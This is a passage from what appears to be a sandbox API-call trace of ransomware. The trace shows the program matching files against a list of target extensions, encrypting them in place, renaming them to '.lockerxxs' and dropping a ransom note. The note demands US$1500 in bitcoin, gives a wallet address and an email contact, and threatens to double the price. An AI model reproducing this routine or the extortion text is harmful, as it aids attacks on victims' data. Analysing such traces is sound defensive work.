ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.108] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.108] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.108] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.108] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.109] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini") returned="eula.ini" [0070.109] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" [0070.109] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="" [0070.109] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt" [0070.109] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\how to decrypt files.txt")) returned 0x20 [0070.109] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" [0070.109] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.ems") returned 0 [0070.109] lstrlenA (lpString="*.ems") returned 5 [0070.109] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.db") returned 0 [0070.109] lstrlenA (lpString="*.db") returned 4 [0070.109] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.dbf") returned 0 [0070.109] lstrlenA (lpString="*.dbf") returned 5 [0070.109] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.myox") returned 0 [0070.109] lstrlenA (lpString="*.myox") returned 6 [0070.109] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.myo") returned 0 [0070.110] lstrlenA (lpString="*.myo") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbw") returned 0 [0070.110] lstrlenA (lpString="*.qbw") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbb") returned 0 [0070.110] lstrlenA (lpString="*.qbb") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbm") returned 0 [0070.110] lstrlenA (lpString="*.qbm") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbo") returned 0 [0070.110] lstrlenA (lpString="*.qbo") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbx") returned 0 [0070.110] lstrlenA (lpString="*.qbx") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qba") returned 0 [0070.110] lstrlenA (lpString="*.qba") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qby") returned 0 [0070.110] lstrlenA (lpString="*.qby") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qbj") returned 0 [0070.110] lstrlenA (lpString="*.qbj") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.ofx") returned 0 [0070.110] lstrlenA (lpString="*.ofx") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.qif") returned 0 [0070.110] lstrlenA (lpString="*.qif") returned 5 [0070.110] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.mye") returned 0 [0070.111] lstrlenA (lpString="*.mye") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.mbox") returned 0 [0070.111] lstrlenA (lpString="*.mbox") returned 6 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.eml") returned 0 [0070.111] lstrlenA (lpString="*.eml") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.pst") returned 0 [0070.111] lstrlenA (lpString="*.pst") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.ost") returned 0 [0070.111] lstrlenA (lpString="*.ost") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.idx") returned 0 [0070.111] lstrlenA (lpString="*.idx") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.dbx") returned 0 [0070.111] lstrlenA (lpString="*.dbx") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.sql") returned 0 [0070.111] lstrlenA (lpString="*.sql") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.mdb") returned 0 [0070.111] lstrlenA (lpString="*.mdb") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.fdb") returned 0 [0070.111] lstrlenA (lpString="*.fdb") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.wab") returned 0 [0070.111] lstrlenA (lpString="*.wab") returned 5 [0070.111] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.dat") returned 0 [0070.112] lstrlenA (lpString="*.dat") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.txt") returned 0 [0070.112] lstrlenA (lpString="*.txt") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.jpeg") returned 0 [0070.112] lstrlenA (lpString="*.jpeg") returned 6 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.jpg") returned 0 [0070.112] lstrlenA (lpString="*.jpg") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.png") returned 0 [0070.112] lstrlenA (lpString="*.png") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.php") returned 0 [0070.112] lstrlenA (lpString="*.php") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.cs") returned 0 [0070.112] lstrlenA (lpString="*.cs") returned 4 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.cpp") returned 0 [0070.112] lstrlenA (lpString="*.cpp") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.rar") returned 0 [0070.112] lstrlenA (lpString="*.rar") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.zip") returned 0 [0070.112] lstrlenA (lpString="*.zip") returned 5 [0070.112] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", pszSpec="*.html") returned 1 [0070.112] lstrlenA (lpString="*.html") returned 6 [0070.113] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" [0070.113] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" [0070.113] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html." [0070.113] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.lockerxxs" [0070.113] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.113] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0a0 [0070.114] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a76e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0070.114] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.114] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf07a, lpOverlapped=0x0) returned 1 [0070.117] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html") returned="license.html" [0070.117] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.117] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf07a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf07a, lpOverlapped=0x0) returned 1 [0070.118] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.118] CloseHandle (hObject=0x94) returned 1 [0070.120] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html.lockerxxs")) returned 1 [0070.121] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.121] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.121] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="PTB", cAlternateFileName="")) returned 1 [0070.121] lstrcmpA (lpString1=".", lpString2="PTB") returned -1 [0070.121] lstrcmpA (lpString1="..", lpString2="PTB") returned -1 [0070.121] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.121] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="PTB" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" [0070.121] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned 57 [0070.121] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.123] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.123] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.123] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.123] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.123] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.123] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.123] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.123] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.123] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.123] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*.*") returned="*.*" [0070.123] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" [0070.124] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="" [0070.124] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt" [0070.124] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\how to decrypt files.txt")) returned 0xffffffff [0070.124] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.124] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.124] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.126] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.126] CloseHandle (hObject=0x94) returned 1 [0070.126] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.ems") returned 0 [0070.127] lstrlenA (lpString="*.ems") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.db") returned 0 [0070.127] lstrlenA (lpString="*.db") returned 4 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.dbf") returned 0 [0070.127] lstrlenA (lpString="*.dbf") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.myox") returned 0 [0070.127] lstrlenA (lpString="*.myox") returned 6 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.myo") returned 0 [0070.127] lstrlenA (lpString="*.myo") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbw") returned 0 [0070.127] lstrlenA (lpString="*.qbw") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbb") returned 0 [0070.127] lstrlenA (lpString="*.qbb") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbm") returned 0 [0070.127] lstrlenA (lpString="*.qbm") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbo") returned 0 [0070.127] lstrlenA (lpString="*.qbo") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbx") returned 0 [0070.127] lstrlenA (lpString="*.qbx") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qba") returned 0 [0070.127] lstrlenA (lpString="*.qba") returned 5 [0070.127] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qby") returned 0 [0070.127] lstrlenA (lpString="*.qby") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qbj") returned 0 [0070.128] lstrlenA (lpString="*.qbj") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.ofx") returned 0 [0070.128] lstrlenA (lpString="*.ofx") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.qif") returned 0 [0070.128] lstrlenA (lpString="*.qif") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mye") returned 0 [0070.128] lstrlenA (lpString="*.mye") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mbox") returned 0 [0070.128] lstrlenA (lpString="*.mbox") returned 6 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.eml") returned 0 [0070.128] lstrlenA (lpString="*.eml") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.pst") returned 0 [0070.128] lstrlenA (lpString="*.pst") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.ost") returned 0 [0070.128] lstrlenA (lpString="*.ost") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.idx") returned 0 [0070.128] lstrlenA (lpString="*.idx") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.dbx") returned 0 [0070.128] lstrlenA (lpString="*.dbx") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.sql") returned 0 [0070.128] lstrlenA (lpString="*.sql") returned 5 [0070.128] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.mdb") returned 0 [0070.129] lstrlenA (lpString="*.mdb") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.fdb") returned 0 [0070.129] lstrlenA (lpString="*.fdb") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.wab") returned 0 [0070.129] lstrlenA (lpString="*.wab") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.dat") returned 0 [0070.129] lstrlenA (lpString="*.dat") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini", pszSpec="*.txt") returned 0 [0070.129] lstrlenA (lpString="*.txt") returned 5 [0070.129] PathMatchSpecA (pszFile="C:\\Program Files 